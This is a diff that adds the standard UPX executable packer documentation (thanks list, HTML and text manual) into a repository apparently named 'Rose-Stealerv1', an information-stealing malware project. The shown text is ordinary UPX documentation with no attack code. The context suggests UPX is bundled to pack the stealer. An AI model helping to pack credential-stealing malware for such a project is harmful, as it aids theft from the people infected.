License v2+; either under the pure GPLv2+ (see +the file COPYING), or (at your option) under the GPLv+2 with special +exceptions and restrictions granting the free usage for all binaries +including commercial programs (see the file LICENSE). + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +You should have received a copy of the UPX License Agreements along +with this program; see the files COPYING and LICENSE. If not, +visit the UPX home page. + + +Share and enjoy, +Markus & Laszlo & John + + + Markus F.X.J. Oberhumer Laszlo Molnar + + + John F. Reiser + + + +[ The term UPX is a shorthand for the Ultimate Packer for eXecutables + and holds no connection with potential owners of registered trademarks + or other rights. ] diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/THANKS.txt b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/THANKS.txt new file mode 100644 index 0000000..ec3c969 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/THANKS.txt @@ -0,0 +1,62 @@ + ooooo ooo ooooooooo. ooooooo ooooo + `888' `8' `888 `Y88. `8888 d8' + 888 8 888 .d88' Y888..8P + 888 8 888ooo88P' `8888' + 888 8 888 .8PY888. + `88. .8' 888 d8' `888b + `YbodP' o888o o888o o88888o + + + The Ultimate Packer for eXecutables + Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser + https://upx.github.io + + +.___.. . + | |_ _.._ ;_/ __ + | [ )(_][ )| \_) +-------------------- + +UPX would not be what it is today without the invaluable help of +everybody who was kind enough to spend time testing it, using it +in applications and reporting bugs. + +The following people made especially gracious contributions of their +time and energy in helping to track down bugs, add new features, and +generally assist in the UPX maintainership process: + +Adam Ierymenko + for severals ideas for the Linux version +Andi Kleen and Jamie Lokier + for the /proc/self/fd/X and other Linux suggestions +Andreas Muegge + for the Win32 GUI +Atli Mar Gudmundsson + for several comments on the win32/pe stub +Charles W. Sandmann + for the idea with the stubless decompressor in djgpp2/coff +Ice + for debugging the PE headersize problem down +Joergen Ibsen and d'b + for the relocation & address optimization ideas +John S. Fine + for the new version of the dos/exe decompressor +Kornel Pal + for the EFI support +Lukundoo + for beta testing +Michael Devore + for initial dos/exe device driver support +Oleg V. Volkov + for various FreeBSD specific information +The Owl & G-RoM + for the --compress-icons fix +Ralph Roth + for reporting several bugs +Salvador Eduardo Tropea + for beta testing +Stefan Widmann + for the win32/pe TLS callback support +The WINE project (https://www.winehq.com/) + for lots of useful information found in their PE loader sources +Natascha diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.html b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.html new file mode 100644 index 0000000..6df96d2 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.html @@ -0,0 +1,807 @@ + + + + +upx - compress or expand executable files + + + + + + + + +

NAME

+ +

upx - compress or expand executable files

+ +

SYNOPSIS

+ +

upx [ command ] [ options ] filename...

+ +

ABSTRACT

+ +
                 The Ultimate Packer for eXecutables
+Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser
+                        https://upx.github.io
+ +

UPX is a portable, extendable, high-performance executable packer for several different executable formats. It achieves an excellent compression ratio and offers *very* fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression.

+ +

DISCLAIMER

+ +

UPX comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING.

+ +

Please report all problems or suggestions to the authors. Thanks.

+ +

SECURITY CONTEXT

+ +

IMPORTANT NOTE: UPX inherits the security context of any files it handles.

+ +

This means that packing, unpacking, or even testing or listing a file requires the same security considerations as actually executing the file.

+ +

Use UPX on trusted files only!

+ +

DESCRIPTION

+ +

UPX is a versatile executable packer with the following features:

+ +
- secure: as UPX is documented Open Source since many years any relevant
+    Security/Antivirus software is able to peek inside UPX compressed
+    apps to verify them
+
+- excellent compression ratio: typically compresses better than Zip,
+    use UPX to decrease the size of your distribution !
+
+- very fast decompression: more than 500 MB/sec on any reasonably modern
+    machine
+
+- no memory overhead for your compressed executables for most of the
+    supported formats because of in-place decompression
+
+- safe: you can list, test and unpack your executables.
+    Also, a checksum of both the compressed and uncompressed file is
+    maintained internally.
+
+- universal: UPX can pack a number of executable formats, including
+    Windows programs and DLLs, macOS apps and Linux executables
+
+- portable: UPX is written in portable endian-neutral C++
+
+- extendable: because of the class layout it's very easy to support
+    new executable formats or add new compression algorithms
+
+- free: UPX is distributed with full source code under the GNU General
+    Public License v2+, with special exceptions granting the free usage
+    for commercial programs
+ +

You probably understand now why we call UPX the "ultimate" executable packer.

+ +

COMMANDS

+ +

Compress

+ +

This is the default operation, eg. upx yourfile.exe will compress the file specified on the command line.

+ +

Decompress

+ +

All UPX supported file formats can be unpacked using the -d switch, eg. upx -d yourfile.exe will uncompress the file you've just compressed.

+ +

Test

+ +

The -t command tests the integrity of the compressed and uncompressed data, eg. upx -t yourfile.exe check whether your file can be safely decompressed. Note, that this command doesn't check the whole file, only the part that will be uncompressed during program execution. This means that you should not use this command instead of a virus checker.

+ +

List

+ +

The -l command prints out some information about the compressed files specified on the command line as parameters, eg upx -l yourfile.exe shows the compressed / uncompressed size and the compression ratio of yourfile.exe.

+ +

OPTIONS

+ +

-q: be quiet, suppress warnings

+ +

-q -q (or -qq): be very quiet, suppress errors

+ +

-q -q -q (or -qqq): produce no output at all

+ +

--help: prints the help

+ +

--version: print the version of UPX

+ +

--exact: when compressing, require to be able to get a byte-identical file after decompression with option -d. [NOTE: this is work in progress and is not supported for all formats yet. If you do care, as a workaround you can compress and then decompress your program a first time - any further compress-decompress steps should then yield byte-identical results as compared to the first decompressed version.]

+ +

-k: keep backup files

+ +

-o file: write output to file

+ +

[ ...more docs need to be written... - type `upx --help' for now ]

+ +

COMPRESSION LEVELS & TUNING

+ +

UPX offers ten different compression levels from -1 to -9, and --best. The default compression level is -8 for files smaller than 512 KiB, and -7 otherwise.

+ +
    + +
  • Compression levels 1, 2 and 3 are pretty fast.

    + +
  • +
  • Compression levels 4, 5 and 6 achieve a good time/ratio performance.

    + +
  • +
  • Compression levels 7, 8 and 9 favor compression ratio over speed.

    + +
  • +
  • Compression level --best may take a long time.

    + +
  • +
+ +

Note that compression level --best can be somewhat slow for large files, but you definitely should use it when releasing a final version of your program.

+ +

Quick info for achieving the best compression ratio:

+ +
    + +
  • Try upx --brute --no-lzma myfile.exe or even upx --ultra-brute --no-lzma myfile.exe.

    + +
  • +
  • The option --lzma enables LZMA compression, which compresses better but is *significantly slower* at decompression. You probably do not want to use it for large files.

    + +

    (Note that --lzma is automatically enabled by --all-methods and --brute, use --no-lzma to override.)

    + +
  • +
  • Try if --overlay=strip works.

    + +
  • +
  • For win32/pe programs there's --strip-relocs=0. See notes below.

    + +
  • +
+ +

OVERLAY HANDLING OPTIONS

+ +

Info: An "overlay" means auxiliary data attached after the logical end of an executable, and it often contains application specific data (this is a common practice to avoid an extra data file, though it would be better to use resource sections).

+ +

UPX handles overlays like many other executable packers do: it simply copies the overlay after the compressed image. This works with some files, but doesn't work with others, depending on how an application actually accesses this overlaid data.

+ +
--overlay=copy    Copy any extra data attached to the file. [DEFAULT]
+
+--overlay=strip   Strip any overlay from the program instead of
+                  copying it. Be warned, this may make the compressed
+                  program crash or otherwise unusable.
+
+--overlay=skip    Refuse to compress any program which has an overlay.
+ +

ENVIRONMENT VARIABLE

+ +

The environment variable UPX can hold a set of default options for UPX. These options are interpreted first and can be overwritten by explicit command line parameters. For example:

+ +
for DOS/Windows:   set UPX=-9 --compress-icons#0
+for sh/ksh/zsh:    UPX="-9 --compress-icons=0"; export UPX
+for csh/tcsh:      setenv UPX "-9 --compress-icons=0"
+ +

Under DOS/Windows you must use '#' instead of '=' when setting the environment variable because of a COMMAND.COM limitation.

+ +

Not all of the options are valid in the environment variable - UPX will tell you.

+ +

You can explicitly use the --no-env option to ignore the environment variable.

+ +

NOTES FOR THE SUPPORTED EXECUTABLE FORMATS

+ +

NOTES FOR ATARI/TOS

+ +

This is the executable format used by the Atari ST/TT, a Motorola 68000 based personal computer which was popular in the late '80s. Support of this format is only because of nostalgic feelings of one of the authors and serves no practical purpose :-). See https://freemint.github.io for more info.

+ +

Packed programs will be byte-identical to the original after uncompression. All debug information will be stripped, though.

+ +

Extra options available for this executable format:

+ +
--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+ +

NOTES FOR BVMLINUZ/I386

+ +

Same as vmlinuz/i386.

+ +

NOTES FOR DOS/COM

+ +

Obviously UPX won't work with executables that want to read data from themselves (like some commandline utilities that ship with Win95/98/ME).

+ +

Compressed programs only work on a 286+.

+ +

Packed programs will be byte-identical to the original after uncompression.

+ +

Maximum uncompressed size: ~65100 bytes.

+ +

Extra options available for this executable format:

+ +
--8086              Create an executable that works on any 8086 CPU.
+
+--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--all-filters       Compress the program several times, using all
+                    available preprocessing filters. This may improve
+                    the compression ratio in some cases, but usually
+                    the default filter gives the best results anyway.
+ +

NOTES FOR DOS/EXE

+ +

dos/exe stands for all "normal" 16-bit DOS executables.

+ +

Obviously UPX won't work with executables that want to read data from themselves (like some command line utilities that ship with Win95/98/ME).

+ +

Compressed programs only work on a 286+.

+ +

Extra options available for this executable format:

+ +
--8086              Create an executable that works on any 8086 CPU.
+
+--no-reloc          Use no relocation records in the exe header.
+
+--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+ +

NOTES FOR DOS/SYS

+ +

Compressed programs only work on a 286+.

+ +

Packed programs will be byte-identical to the original after uncompression.

+ +

Maximum uncompressed size: ~65350 bytes.

+ +

Extra options available for this executable format:

+ +
--8086              Create an executable that works on any 8086 CPU.
+
+--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--all-filters       Compress the program several times, using all
+                    available preprocessing filters. This may improve
+                    the compression ratio in some cases, but usually
+                    the default filter gives the best results anyway.
+ +

NOTES FOR DJGPP2/COFF

+ +

First of all, it is recommended to use UPX *instead* of strip. strip has the very bad habit of replacing your stub with its own (outdated) version. Additionally UPX corrects a bug/feature in strip v2.8.x: it will fix the 4 KiB alignment of the stub.

+ +

UPX includes the full functionality of stubify. This means it will automatically stubify your COFF files. Use the option --coff to disable this functionality (see below).

+ +

UPX automatically handles Allegro packfiles.

+ +

The DLM format (a rather exotic shared library extension) is not supported.

+ +

Packed programs will be byte-identical to the original after uncompression. All debug information and trailing garbage will be stripped, though.

+ +

Extra options available for this executable format:

+ +
--coff              Produce COFF output instead of EXE. By default
+                    UPX keeps your current stub.
+
+--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--all-filters       Compress the program several times, using all
+                    available preprocessing filters. This may improve
+                    the compression ratio in some cases, but usually
+                    the default filter gives the best results anyway.
+ +

NOTES FOR LINUX [general]

+ +

Introduction

+ +
Linux/386 support in UPX consists of 3 different executable formats,
+one optimized for ELF executables ("linux/elf386"), one optimized
+for shell scripts ("linux/sh386"), and one generic format
+("linux/386").
+
+We will start with a general discussion first, but please
+also read the relevant docs for each of the individual formats.
+
+Also, there is special support for bootable kernels - see the
+description of the vmlinuz/386 format.
+ +

General user's overview

+ +
Running a compressed executable program trades less space on a
+``permanent'' storage medium (such as a hard disk, floppy disk,
+CD-ROM, flash memory, EPROM, etc.) for more space in one or more
+``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
+Running a compressed executable also requires some additional CPU
+cycles to generate the compressed executable in the first place,
+and to decompress it at each invocation.
+
+How much space is traded?  It depends on the executable, but many
+programs save 30% to 50% of permanent disk space.  How much CPU
+overhead is there?  Again, it depends on the executable, but
+decompression speed generally is at least many megabytes per second,
+and frequently is limited by the speed of the underlying disk
+or network I/O.
+
+Depending on the statistics of usage and access, and the relative
+speeds of CPU, RAM, swap space, /tmp, and file system storage, then
+invoking and running a compressed executable can be faster than
+directly running the corresponding uncompressed program.
+The operating system might perform fewer expensive I/O operations
+to invoke the compressed program.  Paging to or from swap space
+or /tmp might be faster than paging from the general file system.
+``Medium-sized'' programs which access about 1/3 to 1/2 of their
+stored program bytes can do particularly well with compression.
+Small programs tend not to benefit as much because the absolute
+savings is less.  Big programs tend not to benefit proportionally
+because each invocation may use only a small fraction of the program,
+yet UPX decompresses the entire program before invoking it.
+But in environments where disk or flash memory storage is limited,
+then compression may win anyway.
+
+Currently, executables compressed by UPX do not share RAM at runtime
+in the way that executables mapped from a file system do.  As a
+result, if the same program is run simultaneously by more than one
+process, then using the compressed version will require more RAM and/or
+swap space.  So, shell programs (bash, csh, etc.)  and ``make''
+might not be good candidates for compression.
+
+UPX recognizes three executable formats for Linux: Linux/elf386,
+Linux/sh386, and Linux/386.  Linux/386 is the most generic format;
+it accommodates any file that can be executed.  At runtime, the UPX
+decompression stub re-creates in /tmp a copy of the original file,
+and then the copy is (re-)executed with the same arguments.
+ELF binary executables prefer the Linux/elf386 format by default,
+because UPX decompresses them directly into RAM, uses only one
+exec, does not use space in /tmp, and does not use /proc.
+Shell scripts where the underlying shell accepts a ``-c'' argument
+can use the Linux/sh386 format.  UPX decompresses the shell script
+into low memory, then maps the shell and passes the entire text of the
+script as an argument with a leading ``-c''.
+ +

General benefits:

+ +
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
+  libc6, Shell/Perl/Python/... scripts, standalone Java .class
+  binaries, or whatever...
+  All scripts and programs will work just as before.
+
+- Compressed programs are completely self-contained. No need for
+  any external program.
+
+- UPX keeps your original program untouched. This means that
+  after decompression you will have a byte-identical version,
+  and you can use UPX as a file compressor just like gzip.
+  [ Note that UPX maintains a checksum of the file internally,
+    so it is indeed a reliable alternative. ]
+
+- As the stub only uses syscalls and isn't linked against libc it
+  should run under any Linux configuration that can run ELF
+  binaries.
+
+- For the same reason compressed executables should run under
+  FreeBSD and other systems which can run Linux binaries.
+  [ Please send feedback on this topic ]
+ +

General drawbacks:

+ +
- It is not advisable to compress programs which usually have many
+  instances running (like `sh' or `make') because the common segments of
+  compressed programs won't be shared any longer between different
+  processes.
+
+- `ldd' and `size' won't show anything useful because all they
+  see is the statically linked stub.  Since version 0.82 the section
+  headers are stripped from the UPX stub and `size' doesn't even
+  recognize the file format.  The file patches/patch-elfcode.h has a
+  patch to fix this bug in `size' and other programs which use GNU BFD.
+ +

General notes:

+ +
- As UPX leaves your original program untouched it is advantageous
+  to strip it before compression.
+
+- If you compress a script you will lose platform independence -
+  this could be a problem if you are using NFS mounted disks.
+
+- Compression of suid, guid and sticky-bit programs is rejected
+  because of possible security implications.
+
+- For the same reason there is no sense in making any compressed
+  program suid.
+
+- Obviously UPX won't work with executables that want to read data
+  from themselves. E.g., this might be a problem for Perl scripts
+  which access their __DATA__ lines.
+
+- In case of internal errors the stub will abort with exitcode 127.
+  Typical reasons for this to happen are that the program has somehow
+  been modified after compression.
+  Running `strace -o strace.log compressed_file' will tell you more.
+ +

NOTES FOR LINUX/ELF386

+ +

Please read the general Linux description first.

+ +

The linux/elf386 format decompresses directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc.

+ +

Linux/elf386 is automatically selected for Linux ELF executables.

+ +

Packed programs will be byte-identical to the original after uncompression.

+ +

How it works:

+ +
For ELF executables, UPX decompresses directly to memory, simulating
+the mapping that the operating system kernel uses during exec(),
+including the PT_INTERP program interpreter (if any).
+The brk() is set by a special PT_LOAD segment in the compressed
+executable itself.  UPX then wipes the stack clean except for
+arguments, environment variables, and Elf_auxv entries (this is
+required by bugs in the startup code of /lib/ld-linux.so as of
+May 2000), and transfers control to the program interpreter or
+the e_entry address of the original executable.
+
+The UPX stub is about 1700 bytes long, partly written in assembler
+and only uses kernel syscalls. It is not linked against any libc.
+ +

Specific drawbacks:

+ +
- For linux/elf386 and linux/sh386 formats, you will be relying on
+  RAM and swap space to hold all of the decompressed program during
+  the lifetime of the process.  If you already use most of your swap
+  space, then you may run out.  A system that is "out of memory"
+  can become fragile.  Many programs do not react gracefully when
+  malloc() returns 0.  With newer Linux kernels, the kernel
+  may decide to kill some processes to regain memory, and you
+  may not like the kernel's choice of which to kill.  Running
+  /usr/bin/top is one way to check on the usage of swap space.
+ +

Extra options available for this executable format:

+ +
(none)
+ +

NOTES FOR LINUX/SH386

+ +

Please read the general Linux description first.

+ +

Shell scripts where the underling shell accepts a ``-c'' argument can use the Linux/sh386 format. UPX decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c''. It does not use space in /tmp, and does not use /proc.

+ +

Linux/sh386 is automatically selected for shell scripts that use a known shell.

+ +

Packed programs will be byte-identical to the original after uncompression.

+ +

How it works:

+ +
For shell script executables (files beginning with "#!/" or "#! /")
+where the shell is known to accept "-c <command>", UPX decompresses
+the file into low memory, then maps the shell (and its PT_INTERP),
+and passes control to the shell with the entire decompressed file
+as the argument after "-c".  Known shells are sh, ash, bash, bsh, csh,
+ksh, tcsh, pdksh.  Restriction: UPX cannot use this method
+for shell scripts which use the one optional string argument after
+the shell name in the script (example: "#! /bin/sh option3\n".)
+
+The UPX stub is about 1700 bytes long, partly written in assembler
+and only uses kernel syscalls. It is not linked against any libc.
+ +

Specific drawbacks:

+ +
- For linux/elf386 and linux/sh386 formats, you will be relying on
+  RAM and swap space to hold all of the decompressed program during
+  the lifetime of the process.  If you already use most of your swap
+  space, then you may run out.  A system that is "out of memory"
+  can become fragile.  Many programs do not react gracefully when
+  malloc() returns 0.  With newer Linux kernels, the kernel
+  may decide to kill some processes to regain memory, and you
+  may not like the kernel's choice of which to kill.  Running
+  /usr/bin/top is one way to check on the usage of swap space.
+ +

Extra options available for this executable format:

+ +
(none)
+ +

NOTES FOR LINUX/386

+ +

Please read the general Linux description first.

+ +

The generic linux/386 format decompresses to /tmp and needs /proc file system support. It starts the decompressed program via the execve() syscall.

+ +

Linux/386 is only selected if the specialized linux/elf386 and linux/sh386 won't recognize a file.

+ +

Packed programs will be byte-identical to the original after uncompression.

+ +

How it works:

+ +
For files which are not ELF and not a script for a known "-c" shell,
+UPX uses kernel execve(), which first requires decompressing to a
+temporary file in the file system.  Interestingly -
+because of the good memory management of the Linux kernel - this
+often does not introduce a noticeable delay, and in fact there
+will be no disk access at all if you have enough free memory as
+the entire process takes places within the file system buffers.
+
+A compressed executable consists of the UPX stub and an overlay
+which contains the original program in a compressed form.
+
+The UPX stub is a statically linked ELF executable and does
+the following at program startup:
+
+  1) decompress the overlay to a temporary location in /tmp
+  2) open the temporary file for reading
+  3) try to delete the temporary file and start (execve)
+     the uncompressed program in /tmp using /proc/<pid>/fd/X as
+     attained by step 2)
+  4) if that fails, fork off a subprocess to clean up and
+     start the program in /tmp in the meantime
+
+The UPX stub is about 1700 bytes long, partly written in assembler
+and only uses kernel syscalls. It is not linked against any libc.
+ +

Specific drawbacks:

+ +
- You need additional free disk space for the uncompressed program
+  in your /tmp directory. This program is deleted immediately after
+  decompression, but you still need it for the full execution time
+  of the program.
+
+- You must have /proc file system support as the stub wants to open
+  /proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
+  cannot compress programs that are used during the boot sequence
+  before /proc is mounted.
+
+- Utilities like `top' will display numerical values in the process
+  name field. This is because Linux computes the process name from
+  the first argument of the last execve syscall (which is typically
+  something like /proc/<pid>/fd/3).
+
+- Because of temporary decompression to disk the decompression speed
+  is not as fast as with the other executable formats. Still, I can see
+  no noticeable delay when starting programs like my ~3 MiB emacs (which
+  is less than 1 MiB when compressed :-).
+ +

Extra options available for this executable format:

+ +
--force-execve      Force the use of the generic linux/386 "execve"
+                    format, i.e. do not try the linux/elf386 and
+                    linux/sh386 formats.
+ +

NOTES FOR PS1/EXE

+ +

This is the executable format used by the Sony PlayStation (PSone), a MIPS R3000 based gaming console which is popular since the late '90s. Support of this format is very similar to the Atari one, because of nostalgic feelings of one of the authors.

+ +

Packed programs will be byte-identical to the original after uncompression, until further notice.

+ +

Maximum uncompressed size: ~1.89 / ~7.60 MiB.

+ +

Notes:

+ +
- UPX creates as default a suitable executable for CD-Mastering
+  and console transfer. For a CD-Master main executable you could also try
+  the special option "--boot-only" as described below.
+  It has been reported that upx packed executables are fully compatible with
+  the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
+  Sony PlayStation (PSone) emulation mode.
+
+- Normally the packed files use the same memory areas like the uncompressed
+  versions, so they will not override other memory areas while unpacking.
+  If this isn't possible UPX will abort showing a 'packed data overlap'
+  error. With the "--force" option UPX will relocate the loading address
+  for the packed file, but this isn't a real problem if it is a single or
+  the main executable.
+ +

Extra options available for this executable format:

+ +
--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--8-bit             Uses 8 bit size compression [default: 32 bit]
+
+--8mib-ram          PSone has 8 MiB ram available [default: 2 MiB]
+
+--boot-only         This format is for main exes and CD-Mastering only !
+                    It may slightly improve the compression ratio,
+                    decompression routines are faster than default ones.
+                    But it cannot be used for console transfer !
+
+--no-align          This option disables CD mode 2 data sector format
+                    alignment. May slightly improves the compression ratio,
+                    but the compressed executable will not boot from a CD.
+                    Use it for console transfer only !
+ +

NOTES FOR RTM32/PE and ARM/PE

+ +

Same as win32/pe.

+ +

NOTES FOR TMT/ADAM

+ +

This format is used by the TMT Pascal compiler - see http://www.tmt.com/ .

+ +

Extra options available for this executable format:

+ +
--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--all-filters       Compress the program several times, using all
+                    available preprocessing filters. This may improve
+                    the compression ratio in some cases, but usually
+                    the default filter gives the best results anyway.
+ +

NOTES FOR VMLINUZ/386

+ +

The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable Linux kernel image ("vmlinuz", "zImage", "bzImage"), gzip-decompress it and re-compress it with the UPX compression method.

+ +

vmlinuz/386 is completely unrelated to the other Linux executable formats, and it does not share any of their drawbacks.

+ +

Notes:

+ +
- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
+during compression - otherwise a wrong executable format
+may have been used, and the kernel won't boot.
+ +

Benefits:

+ +
- Better compression (but note that the kernel was already compressed,
+so the improvement is not as large as with other formats).
+Still, the bytes saved may be essential for special needs like
+boot disks.
+
+   For example, this is what I get for my 2.2.16 kernel:
+      1589708  vmlinux
+       641073  bzImage        [original]
+       560755  bzImage.upx    [compressed by "upx -9"]
+
+- Much faster decompression at kernel boot time (but kernel
+  decompression speed is not really an issue these days).
+ +

Drawbacks:

+ +
(none)
+ +

Extra options available for this executable format:

+ +
--all-methods       Compress the program several times, using all
+                    available compression methods. This may improve
+                    the compression ratio in some cases, but usually
+                    the default method gives the best results anyway.
+
+--all-filters       Compress the program several times, using all
+                    available preprocessing filters. This may improve
+                    the compression ratio in some cases, but usually
+                    the default filter gives the best results anyway.
+ +

NOTES FOR WATCOM/LE

+ +

UPX has been successfully tested with the following extenders: DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly supported (for details see the file bugs BUGS).

+ +

DLLs and the LX format are not supported.

+ +

Extra options available for this executable format:

+ +
--le                Produce an unbound LE output instead of
+                    keeping the current stub.
+ +

NOTES FOR WIN32/PE

+ +

The PE support in UPX is quite stable now, but probably there are still some incompatibilities with some files.

+ +

Because of the way UPX (and other packers for this format) works, you can see increased memory usage of your compressed files because the whole program is loaded into memory at startup. If you start several instances of huge compressed programs you're wasting memory because the common segments of the program won't get shared across the instances. On the other hand if you're compressing only smaller programs, or running only one instance of larger programs, then this penalty is smaller, but it's still there.

+ +

If you're running executables from network, then compressed programs will load faster, and require less bandwidth during execution.

+ +

DLLs are supported. But UPX compressed DLLs can not share common data and code when they got used by multiple applications. So compressing msvcrt.dll is a waste of memory, but compressing the dll plugins of a particular application may be a better idea.

+ +

Screensavers are supported, with the restriction that the filename must end with ".scr" (as screensavers are handled slightly different than normal exe files).

+ +

UPX compressed PE files have some minor memory overhead (usually in the 10 - 30 KiB range) which can be seen by specifying the "-i" command line switch during compression.

+ +

Extra options available for this executable format:

+ +
--compress-exports=0 Don't compress the export section.
+                     Use this if you plan to run the compressed
+                     program under Wine.
+--compress-exports=1 Compress the export section. [DEFAULT]
+                     Compression of the export section can improve the
+                     compression ratio quite a bit but may not work
+                     with all programs (like winword.exe).
+                     UPX never compresses the export section of a DLL
+                     regardless of this option.
+
+ --compress-icons=0  Don't compress any icons.
+ --compress-icons=1  Compress all but the first icon.
+ --compress-icons=2  Compress all icons which are not in the
+                     first icon directory. [DEFAULT]
+ --compress-icons=3  Compress all icons.
+
+ --compress-resources=0  Don't compress any resources at all.
+
+ --keep-resource=list Don't compress resources specified by the list.
+                     The members of the list are separated by commas.
+                     A list member has the following format: I<type[/name]>.
+                     I<Type> is the type of the resource. Standard types
+                     must be specified as decimal numbers, user types can be
+                     specified by decimal IDs or strings. I<Name> is the
+                     identifier of the resource. It can be a decimal number
+                     or a string. For example:
+
+                     --keep-resource=2/MYBITMAP,5,6/12345
+
+                     UPX won't compress the named bitmap resource "MYBITMAP",
+                     it leaves every dialog (5) resource uncompressed, and
+                     it won't touch the string table resource with identifier
+                     12345.
+
+ --force             Force compression even when there is an
+                     unexpected value in a header field.
+                     Use with care.
+
+ --strip-relocs=0    Don't strip relocation records.
+ --strip-relocs=1    Strip relocation records. [DEFAULT]
+                     This option only works on executables with base
+                     address greater or equal to 0x400000. Usually the
+                     compressed files becomes smaller, but some files
+                     may become larger. Note that the resulting file will
+                     not work under Windows 3.x (Win32s).
+                     UPX never strips relocations from a DLL
+                     regardless of this option.
+
+ --all-methods       Compress the program several times, using all
+                     available compression methods. This may improve
+                     the compression ratio in some cases, but usually
+                     the default method gives the best results anyway.
+
+ --all-filters       Compress the program several times, using all
+                     available preprocessing filters. This may improve
+                     the compression ratio in some cases, but usually
+                     the default filter gives the best results anyway.
+ +

DIAGNOSTICS

+ +

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

+ +

UPX's diagnostics are intended to be self-explanatory.

+ +

BUGS

+ +

Please report all bugs immediately to the authors.

+ +

AUTHORS

+ +
Markus F.X.J. Oberhumer <markus@oberhumer.com>
+http://www.oberhumer.com
+
+Laszlo Molnar <ezerotven+github@gmail.com>
+
+John F. Reiser <jreiser@BitWagon.com>
+
+Jens Medoch <jssg@users.sourceforge.net>
+ +

COPYRIGHT

+ +

Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer

+ +

Copyright (C) 1996-2023 Laszlo Molnar

+ +

Copyright (C) 2000-2023 John F. Reiser

+ +

Copyright (C) 2002-2023 Jens Medoch

+ +

UPX is distributed with full source code under the terms of the GNU General Public License v2+; either under the pure GPLv2+ (see the file COPYING), or (at your option) under the GPLv+2 with special exceptions and restrictions granting the free usage for all binaries including commercial programs (see the file LICENSE).

+ +

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

+ +

You should have received a copy of the UPX License Agreements along with this program; see the files COPYING and LICENSE. If not, visit the UPX home page.

+ + + + + + + diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.txt b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.txt new file mode 100644 index 0000000..af2f201 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx-doc.txt @@ -0,0 +1,842 @@ +NAME + upx - compress or expand executable files + +SYNOPSIS + upx [ *command* ] [ *options* ] *filename*... + +ABSTRACT + The Ultimate Packer for eXecutables + Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser + https://upx.github.io + + UPX is a portable, extendable, high-performance executable packer for + several different executable formats. It achieves an excellent + compression ratio and offers **very** fast decompression. Your + executables suffer no memory overhead or other drawbacks for most of the + formats supported, because of in-place decompression. + +DISCLAIMER + UPX comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING. + + Please report all problems or suggestions to the authors. Thanks. + +SECURITY CONTEXT + IMPORTANT NOTE: UPX inherits the security context of any files it + handles. + + This means that packing, unpacking, or even testing or listing a file + requires the same security considerations as actually executing the + file. + + Use UPX on trusted files only! + +DESCRIPTION + UPX is a versatile executable packer with the following features: + + - secure: as UPX is documented Open Source since many years any relevant + Security/Antivirus software is able to peek inside UPX compressed + apps to verify them + + - excellent compression ratio: typically compresses better than Zip, + use UPX to decrease the size of your distribution ! + + - very fast decompression: more than 500 MB/sec on any reasonably modern + machine + + - no memory overhead for your compressed executables for most of the + supported formats because of in-place decompression + + - safe: you can list, test and unpack your executables. + Also, a checksum of both the compressed and uncompressed file is + maintained internally. + + - universal: UPX can pack a number of executable formats, including + Windows programs and DLLs, macOS apps and Linux executables + + - portable: UPX is written in portable endian-neutral C++ + + - extendable: because of the class layout it's very easy to support + new executable formats or add new compression algorithms + + - free: UPX is distributed with full source code under the GNU General + Public License v2+, with special exceptions granting the free usage + for commercial programs + + You probably understand now why we call UPX the "*ultimate*" executable + packer. + +COMMANDS + Compress + This is the default operation, eg. upx yourfile.exe will compress the + file specified on the command line. + + Decompress + All UPX supported file formats can be unpacked using the -d switch, eg. + upx -d yourfile.exe will uncompress the file you've just compressed. + + Test + The -t command tests the integrity of the compressed and uncompressed + data, eg. upx -t yourfile.exe check whether your file can be safely + decompressed. Note, that this command doesn't check the whole file, only + the part that will be uncompressed during program execution. This means + that you should not use this command instead of a virus checker. + 